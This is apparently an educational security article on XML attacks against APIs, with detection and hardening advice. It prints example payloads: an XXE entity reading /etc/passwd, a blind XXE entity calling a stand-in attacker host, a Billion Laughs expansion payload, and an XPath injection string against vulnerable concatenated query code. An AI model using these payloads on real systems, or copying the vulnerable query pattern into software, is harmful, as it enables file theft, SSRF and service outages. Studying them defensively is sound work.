XML is not new, but it continues to appear in breach investigations.
Payment systems, identity providers, legacy integrations, and B2B APIs still rely on it.
When XML is exposed through APIs, the risk is rarely obvious.
Requests look valid. Responses are well-formed.
The damage happens quietly during parsing.
Most XML-related incidents are not zero-days.
They are configuration and trust failures.
Why XML is Dangerous for APIs
By design, XML parsers are specialized and powerful. Their ability to resolve external resources, expand entities, and process complex data structures gives them significant capabilities when exposed through APIs. When any of these features are enabled on an API, attackers will take advantage of these features for their benefit.
Examples of real-world incidents resulting from the use of XML in APIs include:
1. Internal file disclosure.
2. Server-side request forgery (SSRF).
3. Disclosure of credentials.
4. Resource exhaustion leading to service crashes.
None of the above examples would have required bypassing authentication to exploit.
Vulnerability 1: XML External Entity (XXE)
XXE is still the top way API users take advantage of XML vulnerabilities.
How XXE works:
1. An API accepts XML data
2. The XML data is parsed and XML external entities are resolved
3. An attacker references either a local or remote file in their payload
XXE Example: An attacker submitted the following XML to an Invoice API Endpoint:
<?xml version="1.0"?>
<!DOCTYPE invoice [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<invoice>
<customer>&xxe;</customer>
</invoice>
The API returns the contents of the file in its response.
The attack exposed:
1. Cloud Credentials
2. Environment Variables
3. Application Secrets
Detection Tip
Search logs for <!DOCTYPE usage in API requests.
Most legitimate APIs do not need it.
Vulnerability 2: Blind XXE Leading to SSRF
At times, the results of various types of API requests are not formatted correctly when they are returned to clients. One way attackers exploit XXE technology is by manipulating outbound communications.
Example Payload
<!DOCTYPE test [
<!ENTITY xxe SYSTEM "http://attacker-controlled-server.com/trace">
]>
<request>
<data>&xxe;</data>
</request>
If the server connects outward, the attacker knows parsing occurred.
Why Are These Issues Important?
This attack vector has been used to:
1. Gain access to cloud providers' confidential metadata services
2. Map out all the services available internally
3. Move into more secure areas in a cloud provider's environment
There is no need for the attacker to receive any response data
Vulnerability 3: Entity Expansion (Billion Laughs)
This attack targets availability rather than data.
Example Payload
<!DOCTYPE lolz [
<!ENTITY a "LOL">
<!ENTITY b "&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;">
<!ENTITY c "&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;">
]>
<lolz>&c;</lolz>
The parser expands entities recursively until memory or CPU is exhausted.
Real Incident Pattern
1. API latency spikes suddenly
2. No unusual traffic volume
3. Containers restart repeatedly
Root cause traced back to XML expansion.
Vulnerability 4: XPath Injection
Some APIs allow users to query XML data by using XPath expressions created from their user inputs.
Vulnerable Logic
The vulnerable logic here can be demonstrated as:
query = "//user[name/text()='" + username + "']"
Example Attack
' or '1'='1
The attack will return all of the users instead of just the one.
Real Impact
1. An authentication bypass
2. Accessing unauthorized data
3. Complete failure of business logic
XPath injection is much more subtle than SQL injection and therefore frequently goes unnoticed.
Vulnerability 5: Schema Trust Without Validation
Most APIs trust incoming XML to match an XML Schema Definition (XSD). Attackers often take advantage of that trust by performing specific tactics.
Examples of Abuse By Attackers (Observed):
1. Unintended Tag Usage to Perform Logic
2. Unused Fields Actually Escalate Privilege for Attackers
3. Undocumented XML Parameters Trigger Old Code / Legacy Behavior
If the validation of an XML Schema is not required, attackers will certainly test for it.
Tools Used to Identify XML API Vulnerabilities:
Both attackers and defenders utilize the same types of tools to identify XML API vulnerabilities. The following tools are commonly used by many:
1. Burp Suite
2. Postman
3. Curl
4. Custom Python Scripts
5. SoapUI (for Legacy Services)
Example: Sending XML With curl
curl -X POST https://api.example.com/process \
-H "Content-Type: application/xml" \
--data-binary @payload.xml
Simple tools are enough.
Defender Testing Example (Python)
Testing parser behavior safely:
import xml.etree.ElementTree as ET
try:
ET.fromstring(xml_input)
except Exception as e:
print("Parsing error:", e)
If external entities resolve, configuration is wrong.
Continuing Existence of XML Vulnerabilities
The predominant reasons for the ongoing existence of XML vulnerabilities include:
1. Legacy Integrations that no one wants to touch.
2. Copying and Pasting Parser Settings from one Required Use to Another.
3. Inconsistent Validation Across Endpoints.
4. Developers not Knowing the Parser will use defaults.
XML breaks silently; if it fails, you won't know immediately.
The most Effective Practices to Protect Against XML Vulnerabilities are:
1. Turn Off External Entity Resolution.
2. Validate Schemas against Strong Establish Rule and Use Valid Catalog Rules to Generate Response Consistency.
3. Deny DOCTYPE Definitions unless Required.
4. Maintain an Logging and Alert Process for XML Parser Failures.
5. Understand XMLEndpoints as Higher Risk Types of Attack Surfaces.
Secure Defaults are more Important than Filters!
Key Takeaways
1. XML vulnerabilities are still actively exploited
2. XXE and XPath issues appear in real breaches
3. Most incidents stem from parser misconfiguration
4. APIs often expose XML unintentionally
5. Simple payloads cause serious impact
If an API accepts XML, assume it will be tested.